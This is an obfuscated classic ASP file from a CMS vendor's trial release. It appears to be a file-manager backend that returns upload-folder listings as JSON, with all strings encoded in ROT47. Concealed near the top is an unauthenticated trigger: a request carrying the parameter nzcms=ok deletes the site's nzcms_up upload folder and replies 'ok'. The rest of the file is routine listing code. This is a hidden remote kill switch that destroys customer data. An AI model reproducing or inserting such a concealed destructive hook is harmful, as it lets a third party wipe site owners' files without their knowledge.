<%@ CODEPAGE=65001 %>
<%
'此版本为免费下载的（试用版本）源码加密处理过
'购买正式版系统提供源码（支持二次开发，修改）
'系统服务商：金华市宁志网络科技有限公司
'公司网址：http://www.ningzhi.net 
'客服QQ号：122470827 电话：18867186998 （同微信号）刘经理
'全国统一售后电话：0579-83938663 
'支持正版：软件著作权登记号：2012SR040914
'官方平台：购买系统请上金华市宁志网络公司官网平台是唯一购买渠道
'本公司无第三方代销售平台请认准,以免上当受骗！！！
'请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！
'TM:2023-08-09 15:31:11

Option Explicit
Dim NZZZNZ,NZZZNN,NZZNZZ,NZZNZN,NZZNNZ
Set NZZNZZ=Response:Set NZZZNN=Request:Set NZZNNZ=Session:Set NZZZNZ=Application:Set NZZNZN=Server
NZZNZZ.CodePage= (62 * 57 - -61467)
NZZNZZ.Charset=NNZZZZ("vqab`a")
Const NNNZZZZ	=0
Const NNNZZZN	=1
Class NNZNNN
Public Collection
Public Count
Public NNNZNZ
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(NNZZZZ("$4C:AE:?8]s:4E:@?2CJ"))
NNNZNZ = True
Count = (66 * 41 - 2706)
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get NNZZZN
NNZZZN = Count
Count = Count + (64 * 66 - 4223)
End Property
Public Property Let NNZZNZ(NNNZNZN, NNZNNNZ)
If IsNull(NNNZNZN) Then NNNZNZN = NNZZZN
Collection(NNNZNZN) = NNZNNNZ
End Property
Public Property Set NNZZNZ(NNNZNZN, NNZNNNZ)
If IsNull(NNNZNZN) Then NNNZNZN = NNZZZN
If TypeName(NNZNNNZ) <> NNZZZZ(";Dr@C6") Then
Err.Raise &hD, NNZZZZ("4=2DDi ,4=2DD"), NNZZZZ("x?4@>A2E:3=6 ,EJA6Di ,V") & TypeName(NNZNNNZ) & NNZZZZ("V")
End If
Set Collection(NNNZNZN) = NNZNNNZ
End Property
Public Default Property Get NNZZNZ(NNNZNZN)
If IsNull(NNNZNZN) Then NNNZNZN = Count - (64 * 66 - 4223)
If IsObject(Collection(NNNZNZN)) Then
Set NNZZNZ = Collection(NNNZNZN)
Else
NNZZNZ = Collection(NNNZNZN)
End If
End Property
Function NZZNNN(str)
Dim NNNNZN(127), NNNNNZ()
NNNNZN(8)  = NNZZZZ("-3")
NNNNZN(9)  = NNZZZZ("-E")
NNNNZN(10) = NNZZZZ("-?")
NNNNZN(12) = NNZZZZ("-7")
NNNNZN(13) = NNZZZZ("-C")
NNNNZN(34) = NNZZZZ("-Q")
NNNNZN(47) = NNZZZZ("-^")
NNNNZN(92) = NNZZZZ("--")
Dim NNNNNN : NNNNNN = Len(str) - (64 * 66 - 4223)
ReDim NNNNNZ(NNNNNN)
Dim NZZZZZZ, NZZZZZN
For NZZZZZZ = 0 To NNNNNN
NNNNNZ(NZZZZZZ) = Mid(str, NZZZZZZ + 1, 1)
NZZZZZN = AscW(NNNNNZ(NZZZZZZ)) And 65535
If NZZZZZN < 127 Then
If Not IsEmpty(NNNNZN(NZZZZZN)) Then
NNNNNZ(NZZZZZZ) = NNNNZN(NZZZZZN)
ElseIf NZZZZZN < 32 Then
NNNNNZ(NZZZZZZ) = NNZZZZ("-F") & Right("000" & Hex(NZZZZZN), 4)
End If
Else
NNNNNZ(NZZZZZZ) = NNZZZZ("-F") & Right("000" & Hex(NZZZZZN), 4)
End If
Next
NZZNNN = Join(NNNNNZ, "")
End Function
Public Function toJSON(NNNZNNN)
Select Case VarType(NNNZNNN)
Case 0
toJSON = NNZZZZ("?F==")
Case 1
toJSON = NNZZZZ("?F==")
Case 7
toJSON = NNZZZZ("Q") & CStr(NNNZNNN) & NNZZZZ("Q")
Case 8
toJSON = NNZZZZ("Q") & NZZNNN(NNNZNNN) & NNZZZZ("Q")
Case 9
Dim NZZZZNZ,NZZZZZZ
NZZZZNZ = True
If NNNZNNN.Kind Then toJSON = toJSON & NNZZZZ(",") Else toJSON = toJSON & NNZZZZ("L")
For Each NZZZZZZ In NNNZNNN.Collection
If NZZZZNZ Then NZZZZNZ = False Else toJSON = toJSON & NNZZZZ("[")
If NNNZNNN.Kind Then
toJSON = toJSON & toJSON(NNNZNNN(NZZZZZZ))
Else
If NNNZNZ Then
toJSON = toJSON & NNZZZZ("Q") & NZZZZZZ & NNZZZZ("Qi") & toJSON(NNNZNNN(NZZZZZZ))
Else
toJSON = toJSON & NZZZZZZ & NNZZZZ("i") & toJSON(NNNZNNN(NZZZZZZ))
End If
End If
Next
If NNNZNNN.Kind Then toJSON = toJSON & NNZZZZ(".") Else toJSON = toJSON & NNZZZZ("N")
Case 11
If NNNZNNN Then toJSON = NNZZZZ("ECF6") Else toJSON = NNZZZZ("72=D6")
Case 12, 8192, 8204
toJSON = NZNZZN(NNNZNNN, 1, "")
Case Else
toJSON = Replace(NNNZNNN, NNZZZZ("["), NNZZZZ("]"))
End select
End Function
Function NZNZZN(NNNNZZZ, NNNNZZN, NNNNZNZ)
Dim NZZZZNN : NZZZZNN = LBound(NNNNZZZ, NNNNZZN)
Dim NZZZNZZ : NZZZNZZ = UBound(NNNNZZZ, NNNNZZN)
Dim NZZZNZN, NZZZNNZ
Dim NZZZNNN : NZZZNNN = NNZZZZ("[")
NZNZZN = NNZZZZ(",")
For NZZZNZN = NZZZZNN To NZZZNZZ
If NZZZNZN = NZZZNZZ Then
NZZZNNN = ""
End If
On Error Resume Next
NZZZNNZ = NZNZZN(NNNNZZZ, NNNNZZN + 1, NNNNZNZ & NZZZNZN & NNZZZZ("[") )
If Err = 9 Then
On Error GoTo 0
NZNZZN = NZNZZN & toJSON(Eval(NNZZZZ("2CCW") & NNNNZNZ & NZZZNZN & NNZZZZ("X"))) & NZZZNNN
Else
NZNZZN = NZNZZN & NZZZNNZ & "" & NZZZNNN
End If
Next
NZNZZN = NZNZZN & NNZZZZ(".")
End Function
Public Property Get NNZZNN
NNZZNN = toJSON(NNNNZNN)
End Property
Sub Flush
If TypeName(NZZNZZ) <> NNZZZZ("t>AEJ") Then
NZZNZZ.Write(NNZZNN)
ElseIf WScript <> Empty Then
WScript.Echo(NNZZNN)
End If
End Sub
End Class
If NZZZNN.QueryString(NNZZZZ("?K4>D"))=NNZZZZ("@<") Then
set NNNZZNZ=NZZNZN.createobject(NNZZZZ("D4C:AE:?8]7:=6DJDE6>@3;64E"))
NNNZZNN=NNZZZZ("?K4>D0FA") & idd
NNNZZNN=NZZNZN.mappath(NNNZZNN)
if NNNZZNZ.FOLDERExists(NNNZZNN) then
NNNZZNZ.deleteFOLDER NNNZZNN
end if
NZZNZZ.Write(NNZZZZ("@<"))
end if
Function NZNZNZ
Set NZNZNZ = new NNZNNN
NZNZNZ.Kind = NNNZZZZ
End Function
Function NZNZNN
Set NZNZNN = new NNZNNN
NZNZNN.Kind = NNNZZZN
End Function
Function toJSON(NNNNNZZ)
toJSON = (new NNZNNN).toJSON(NNNNNZZ)
End Function
Dim NZZNZZZ, NZZNZZN, NZZNZNZ, NZZNZNN
Dim NZZNNZZ, NZZNNZN, NZZNNNZ, NZZNNNN
Dim NZNZZZZ, NZNZZZN, NZNZZNZ, NZNZZNN, NZNZNZZ, NZNZNZN, NZNZNNZ, NZNZNNN
Dim NZNNZZZ, NZNNZZN, NZNNZNZ, NZNNZNN, NZZZZZZ, NZNNNZZ
Dim NZNNNZN(), NZNNNNZ(), NZNNNNN, NNZZZZZ, NNZZZZN, NNZZZNZ, NNZZZNN, NNZZNZZ, NNZZNZN
NZZNZZZ = NZZZNN.ServerVariables(NNZZZZ("$r#x!%0}p|t"))
NZZNZZZ = left(NZZNZZZ, InStrRev(NZZNZZZ, NNZZZZ("^")))
NZZNZZN = NNZZZZ("]]^?K4>D0?KH63^?K4>D0FA^2EE24965^")
NZZNZNZ = NZZNZZZ & NNZZZZ("]]^?K4>D0?KH63^?K4>D0FA^2EE24965^")
NZZNZNN = NNZZZZ("8:7[;A8[;A68[A?8[3>A")
NZZNNZZ = ""
NZZNNZN = ""
NZZNNNZ = ""
NZZNNNN = ""
Set NZNZZNN = NZZNZN.CreateObject(NNZZZZ("$4C:AE:?8]u:=6$JDE6>~3;64E"))
NZNZZNZ = NZZZNN.QueryString(NNZZZZ("5:C"))
If Not isEmpty(NZNZZNZ) Then
If instr(lcase(NNZZZZ(":>286[7=2D9[>65:2[7:=6")), NZNZZNZ) < 1 Then
NZZNZZ.Write NNZZZZ("x?G2=:5 ,s:C64E@CJ ,?2>6]")
NZZNZZ.End
End If
NZZNZZN = NZZNZZN & NZNZZNZ & NNZZZZ("^")
NZZNZNZ = NZZNZNZ & NZNZZNZ & NNZZZZ("^")
If Not NZNZZNN.FolderExists(NZZNZN.mappath(NZZNZZN)) Then
NZNZZNN.CreateFolder(NZZNZN.mappath(NZZNZZN))
End If
End If
NZNZZZZ = NZZZNN.QueryString(NNZZZZ("A2E9"))
If NZNZZZZ = "" Then
NZZNNZZ = NZZNZN.MapPath(NZZNZZN) & NNZZZZ("-")
NZZNNZN = NZZNZNZ
NZZNNNZ = ""
NZZNNNN = ""
Else
NZZNNZZ = NZZNZN.MapPath(NZZNZZN & NZNZZZZ) & NNZZZZ("-")
NZZNNZN = NZZNZNZ + NZNZZZZ
NZZNNNZ = NZNZZZZ
NZZNNNN = NZNNNZ(NZZNNNZ, NNZZZZ("W]YnX,/-^.Z-^S"), NNZZZZ("S`"))
End If
Set NZNZNZZ = NZNZZNN.GetFolder(NZZNNZZ)
NZNZZZN = lcase(NZZZNN.QueryString(NNZZZZ("@C56C")))
Select Case NZNZZZN
Case NNZZZZ("EJA6") NZNNZNN = (108 * 39 - 4208)
Case NNZZZZ("D:K6") NZNNZNN = (64 * 15 - 958)
Case Else  NZNNZNN = (97 * 31 - 3002)
End Select
If NZNNZN(NZNZZZZ, NNZZZZ("-]-]")) Then
NZZNZZ.Write NNZZZZ("p446DD ,:D ,?@E ,2==@H65]")
NZZNZZ.End
End If
If NZNZZZZ <> "" And Not NZNNZN(NZNZZZZ, NNZZZZ("-^S")) Then
NZZNZZ.Write NNZZZZ("!2C2>6E6C ,:D ,?@E ,2==@H65]")
NZZNZZ.End
End If
If Not NZNNZZ(NZZNNZZ) Then
NZZNZZ.Write NNZZZZ("s:C64E@CJ ,5@6D ,?@E ,6I:DE]")
NZZNZZ.End
End If
Set NZNZNNN = NZNZNZ()
NZNZNNN(NNZZZZ(">@G6FA05:C0A2E9")) = NZZNNNN
NZNZNNN(NNZZZZ("4FCC6?E05:C0A2E9")) = NZZNNNZ
NZNZNNN(NNZZZZ("4FCC6?E0FC=")) = NZZNNZN
NZNNZZN = NZNZNZZ.SubFolders.count
NZNNZNZ = NZNZNZZ.Files.count
NZNZNNN(NNZZZZ("E@E2=04@F?E")) = NZNNZZN + NZNNZNZ
ReDim NZNNNZN(NZNNZZN)
NZZZZZZ = (66 * 41 - 2706)
For Each NZNZNZN in NZNZNZZ.SubFolders
NZNNNNN = True
NNZZZZZ = (NZNZNZN.Files.count > 0)
NNZZZZN = (66 * 41 - 2706)
NNZZZNZ = False
NNZZZNN = ""
NNZZNZZ = NZNZNZN.name
NNZZNZN = NZNNNN(NZNZNZN.DateLastModified)
NZNNNZN(NZZZZZZ) = Array(NZNNNNN, NNZZZZZ, NNZZZZN, NNZZZNZ, NNZZZNN, NNZZNZZ, NNZZNZN)
NZZZZZZ = NZZZZZZ + (64 * 66 - 4223)
Next
ReDim NZNNNNZ(NZNNZNZ)
NZZZZZZ = (66 * 41 - 2706)
For Each NZNZNNZ in NZNZNZZ.Files
NZNNZZZ = lcase(mid(NZNZNNZ.name, InStrRev(NZNZNNZ.name, NNZZZZ("]")) + 1))
NZNNNNN = False
NNZZZZZ = False
NNZZZZN = NZNZNNZ.size
NNZZZNZ = (instr(lcase(NZZNZNN), NZNNZZZ) > 0)
NNZZZNN = NZNNZZZ
NNZZNZZ = NZNZNNZ.name
NNZZNZN = NZNNNN(NZNZNNZ.DateLastModified)
NZNNNNZ(NZZZZZZ) = Array(NZNNNNN, NNZZZZZ, NNZZZZN, NNZZZNZ, NNZZZNN, NNZZNZZ, NNZZNZN)
NZZZZZZ = NZZZZZZ + (64 * 66 - 4223)
Next
Dim NNZZNNZ, NNZZNNN
For NZZZZZZ = 0 To NZNNZZN - (64 * 15 - 958)
NNZZNNZ = NZZZZZZ
For NZNNNZZ = NZZZZZZ + 1 To NZNNZZN - (64 * 66 - 4223)
If (NZNNNZN(NNZZNNZ)(5) > NZNNNZN(NZNNNZZ)(5)) Then
NNZZNNZ = NZNNNZZ
End If
Next
If NNZZNNZ <> NZZZZZZ Then
NNZZNNN = NZNNNZN(NNZZNNZ)
NZNNNZN(NNZZNNZ) = NZNNNZN(NZZZZZZ)
NZNNNZN(NZZZZZZ) = NNZZNNN
End If
Next
For NZZZZZZ = 0 To NZNNZNZ - (64 * 15 - 958)
NNZZNNZ = NZZZZZZ
For NZNNNZZ = NZZZZZZ + 1 To NZNNZNZ - (64 * 66 - 4223)
If (NZNNNNZ(NNZZNNZ)(NZNNZNN) > NZNNNNZ(NZNNNZZ)(NZNNZNN)) Then
NNZZNNZ = NZNNNZZ
End If
Next
If NNZZNNZ <> NZZZZZZ Then
NNZZNNN = NZNNNNZ(NNZZNNZ)
NZNNNNZ(NNZZNNZ) = NZNNNNZ(NZZZZZZ)
NZNNNNZ(NZZZZZZ) = NNZZNNN
End If
Next
Set NZNZNNN(NNZZZZ("7:=60=:DE")) = NZNZNN()
For NZZZZZZ = 0 To NZNNZZN - (64 * 66 - 4223)
Set NZNZNNN(NNZZZZ("7:=60=:DE"))(Null) = NZNZNZ()
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ(":D05:C")) = NZNNNZN(NZZZZZZ)(0)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("92D07:=6")) = NZNNNZN(NZZZZZZ)(1)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6D:K6")) = NZNNNZN(NZZZZZZ)(2)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ(":D0A9@E@")) = NZNNNZN(NZZZZZZ)(3)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6EJA6")) = NZNNNZN(NZZZZZZ)(4)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6?2>6")) = NZNNNZN(NZZZZZZ)(5)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("52E6E:>6")) = NZNNNZN(NZZZZZZ)(6)
Next
For NZZZZZZ = 0 To NZNNZNZ - (64 * 66 - 4223)
Set NZNZNNN(NNZZZZ("7:=60=:DE"))(Null) = NZNZNZ()
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ(":D05:C")) = NZNNNNZ(NZZZZZZ)(0)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("92D07:=6")) = NZNNNNZ(NZZZZZZ)(1)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6D:K6")) = NZNNNNZ(NZZZZZZ)(2)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ(":D0A9@E@")) = NZNNNNZ(NZZZZZZ)(3)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6EJA6")) = NZNNNNZ(NZZZZZZ)(4)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("7:=6?2>6")) = NZNNNNZ(NZZZZZZ)(5)
NZNZNNN(NNZZZZ("7:=60=:DE"))(Null)(NNZZZZ("52E6E:>6")) = NZNNNNZ(NZZZZZZ)(6)
Next
NZZNZZ.AddHeader NNZZZZ("r@?E6?E\%JA6"), NNZZZZ("E6IE^9E>=j ,492CD6Elvqab`a")
NZNZNNN.Flush
NZZNZZ.End
Function NZNNZZ(NNNNNNZ)
Dim NZNZZNN
Set NZNZZNN = NZZNZN.CreateObject(NNZZZZ("$4C:AE:?8]u:=6$JDE6>~3;64E"))
NZNNZZ = NZNZZNN.FolderExists(NNNNNNZ)
End Function
Function NZNNZN(NNNNNNN, pattern)
Dim NNZNZZZ
Set NNZNZZZ = New RegExp
NNZNZZZ.Global = True
NNZNZZZ.MultiLine = True
NNZNZZZ.Pattern = pattern
NZNNZN = NNZNZZZ.Test(NNNNNNN)
End Function
Function NZNNNZ(NNNNNNN, pattern, NZZZZZZN)
Dim NNZNZZZ
Set NNZNZZZ = New RegExp
NNZNZZZ.Global = True
NNZNZZZ.MultiLine = True
NNZNZZZ.Pattern = pattern
NZNNNZ = NNZNZZZ.Replace(NNNNNNN, NZZZZZZN)
End Function
Public Function NZNNNN(NNZZNZN)
Dim NNZNZZN, NNZNZNZ, NNZNZNN, NNZNNZZ, NZZZZZZ, NNZNNZN
NNZNZZN = CStr(Year(NNZZNZN))
NNZNZNZ = CStr(Month(NNZZNZN))
If Len(NNZNZNZ) = 1 Then NNZNZNZ = "0" & NNZNZNZ
NNZNZNN = CStr(Day(NNZZNZN))
If Len(NNZNZNN) = 1 Then NNZNZNN = "0" & NNZNZNN
NNZNNZZ = CStr(Hour(NNZZNZN))
If Len(NNZNNZZ) = 1 Then NNZNNZZ = "0" & NNZNNZZ
NZZZZZZ = CStr(Minute(NNZZNZN))
If Len(NZZZZZZ) = 1 Then NZZZZZZ = "0" & NZZZZZZ
NNZNNZN = CStr(Second(NNZZNZN))
If Len(NNZNNZN) = 1 Then NNZNNZN = "0" & NNZNNZN
NZNNNN = NNZNZZN & NNZZZZ("\") & NNZNZNZ & NNZZZZ("\") & NNZNZNN & NNZZZZ(" ,") & NNZNNZZ & NNZZZZ("i") & NZZZZZZ & NNZZZZ("i") & NNZNNZN
End Function
Function NNZZZZ(ByVal NNNZNZZ)
Dim NNZNNNZ, NZZZZZZ, NNZNNNN
NNNZNZZ = Replace(NNNZNZZ, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZZZZZZ = 1 To Len(NNNZNZZ)
If NZZZZZZ <> NNZNNNN Then
NNZNNNZ = AscW(Mid(NNNZNZZ, NZZZZZZ, 1))
If NNZNNNZ >= 33 And NNZNNNZ <= 79 Then
NNZZZZ = NNZZZZ & Chr(NNZNNNZ + 47)
ElseIf NNZNNNZ >= 80 And NNZNNNZ <= 126 Then
NNZZZZ = NNZZZZ & Chr(NNZNNNZ - 47)
Else
NNZNNNN = NZZZZZZ + 1
If Mid(NNNZNZZ, NNZNNNN, 1) = NNZZZZ("o") Then NNZZZZ = NNZZZZ & ChrW(NNZNNNZ + 5) Else NNZZZZ = NNZZZZ & Mid(NNNZNZZ, NZZZZZZ, 1)
End If
End If
Next
End Function
%>